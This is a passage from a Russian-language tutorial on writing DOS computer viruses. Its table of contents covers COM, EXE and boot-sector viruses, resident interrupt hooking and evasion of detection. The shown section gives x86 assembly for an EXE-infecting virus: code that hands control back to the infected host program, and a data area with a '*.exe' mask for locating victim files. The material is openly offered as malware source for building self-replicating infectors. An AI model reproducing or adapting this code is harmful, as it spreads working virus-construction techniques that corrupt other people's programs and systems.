- •Часть 1 . Com - вирусы ....................... 6
- •Глава 1 . Разработка нерезидентной
- •Глава 2 . Разработка резидентной
- •Часть 2 . Exe - вирусы ....................... 82
- •Глава 1 . Разработка нерезидентного
- •1.3 Как вирус может заразить
- •1.4 Работа вируса в
- •1.5 Начало работы ....................... 88
- •Глава 2 . Разработка резидентного
- •Часть 3 . Загрузочные вирусы ................. 143
- •Глава 1 . Разработка загрузочной
- •Часть 1 . Com - вирусы
- •Глава 1 . Разработка нерезидентной
- •1.5 Начало работы
- •1.6 Вирус получает управление
- •1.8 Запоминаем содержимое dta
- •1.9 Ищем подходящий файл
- •1.10 Читаем исходные три байта
- •1.11 Выполняем необходимые расчеты
- •1.12 Проверяем файл на зараженность
- •1.13 Заражаем com - программу
- •1.14 Восстанавливаем dta
- •1.16 Область данных вирусной программы
- •1.17 Завершаем запускающую программу
- •1.18 Текст нерезидентного com - вируса
- •1.19 Комментарии
- •1.20 Испытание вируса
- •Глава 2 . Разработка резидентной
- •2.3 Алгоритм работы резидентного
- •2.4 Заголовок вируса
- •2.5 Вирус начинает работу
- •2.6 Сохраняем регистры процессора
- •2.8 Запрашиваем блок памяти
- •2.9 Делаем вирус " незаметным "
- •2.10 Получаем вектора прерываний
- •2.11 Копируем вирусный код в память
- •2.12 Устанавливаем вектора прерываний
- •2.13 Пишем резидентную часть
- •2.14 Заражаем com - файл
- •2.15 Восстанавливаем регистры
- •2.16 Пишем обработчики прерываний
- •2.17 Обработчик Int 13h
- •2.18 Обработчик Int 21h
- •2.19 Обработчик Int 24h
- •2.20 Обработчик Int 2Fh
- •2.21 Обработчик Int 28h
- •2.22 Область данных вируса
- •2.23 Процедура идентификации command.Com
- •2.24 Завершаем программу
- •2.25 Текст резидентного com - вируса
- •2.26 Комментарии
- •2.27 Испытание вируса
- •Часть 2 . Exe - вирусы
- •Глава 1 . Разработка нерезидентного
- •1.1 Формат exe - файла на диске
- •1.5 Начало работы
- •1.6 Вирус получает управление
- •1.7 Ищем подходящий файл
- •1.8 Читаем заголовок файла
- •1.10 Заражаем exe - программу
- •1.11 Восстанавливаем dta
- •1.12 Восстанавливаем точку входа
- •1.13 Область данных вируса
- •1.14 Используемые процедуры
- •1.15 Работа завершена
- •Глава 2 . Разработка резидентного
- •2.1 Алгоритм работы резидентного
- •2.3 Как реализовать защиту от
- •2.4 Реализуем предложенный алгоритм
- •2.5 Пишем промежуточный обработчик
- •2.6 Защита от обнаружения вируса в файле
- •2.7 Несколько слов о вредных
- •Часть 3 . Загрузочные вирусы
- •Глава 1 . Разработка загрузочной
- •1.2 Понятие о загрузочных вирусах
- •1.3 Алгоритм работы загрузочного
- •1.5 Начало работы
- •1.6 Вирус получает управление
- •1.12 Используемые процедуры
- •1.13 Область данных вируса
- •1.16 Комментарии
- •1.17 Испытание вируса
1.12 Восстанавливаем точку входа
Далее необходимо передать управление зараженной
программе ( конечно, не только что зараженной, а
той, из которой стартовал вирус ) .Для этого нужно
восстановить ее исходную точку входа,а также пере-
ключить стек с вирусной области данных на стек,
предусмотренный разработчиком программы .
Чтобы произвести все необходимые вычисления,мы ис-
пользуем параметры заголовка программы, сохранен-
ные ранее в ячейках " my_XX " .
При передаче управления на код вируса в регистр CS
было помещено такое значение : CS = NS0 + 10h +
+ Header [16h], и это значение нам известно - оно
сейчас находится в CS .С другой стороны, настоящая
точка входа EXE - программы имеет сегментный адрес
CS = NS0 + 10h + my_cs . Таким образом, достаточно
узнать, чему равна сумма : NS0 + 10h, и прибавить
к ней " my_cs " .Такая же ситуация возникает и при
восстановлении регистра SS, только здесь к NS0 +
+ 10h нужно прибавить " my_ss " .Проще всего вос-
становить регистр DS, поскольку при загрузке EXE -
файла соблюдается условие : ES = DS = NS0.Для ини-
циализации SP и IP можно просто записать в них чи-
сла,хранящиеся в переменных " my_sp " и " my_ip ",
не производя при этом каких - либо сложных расче-
тов .С учетом этих соображений можно записать :
mov ax,my_ip
mov old_ip,ax
mov ax,my_cs
mov old_cs,ax
mov ax,my_16h
mov to_16h,ax
mov ax,my_sp
mov sp,ax ;Инициализируем
;регистр SP ...
mov ax,cs ;Найдем
sub ax,to_16h ;NS0 + 10h ...
add my_ss,ax ;Вычислим SS ...
mov ss,my_ss ;
add ax,old_cs ;Вычислим CS ...
mov old_cs,ax ;
mov ax,es ;Инициализируем
mov ds,ax ;регистр DS ...
jmp $ + 2 ;Сбросим очередь
;процессора
db 0eah ;И перейдем к
old_ip dw 0 ;исполнению
old_cs dw 0 ;программы ...
Команда перехода к исполнению программы записана в
виде машинного кода,чтобы при необходимости ее мо-
жно было модифицировать .
И еще - вы , вероятно, помните, что символами
" NS0 " мы обозначили начальный сегмент программы.
1.13 Область данных вируса
Приведем данные, которыми оперирует уже почти соз-
данный нами EXE - вирус :
;Собственная DTA
;вируса
new_dta db 128 dup (0)
;Маска для поис-
;ка файла - жер-
;твы
maska db '*.exe',0
;Буфер для хра-
;нения имени
;найденного
;файла
fn db 12 dup (' '),0
;Массив для хра-
;нения заголовка
header db 27 dup ( 0 )
descrypt dw 0 ;Ячейка для дес-
;криптора
to_02h dw 0 ;Эти ячейки ис-
to_04h dw 0 ;пользуются для
to_16h dw 0 ;хранения пара-
my_ip dw 0 ;метров заголо-
my_cs dw 0 ;вка заражаемой
my_16h dw 0 ;программы и
my_ss dw 0 ;той, из которой
my_sp dw 0 ;стартовал
old_ss dw 0 ;вирус
old_sp dw 0 ;
f_seek_low dw 0 ;В эти перемен-
f_seek_high dw 0 ;нные записывае-
;тся значение
;указателя
;Вирусный стек
new_stack dw 50 dup ( 0 )
last db 0 ;Сюда помещается
;последний байт
;заражаемого
;файла
db '7' ;Последний байт
;вирусного кода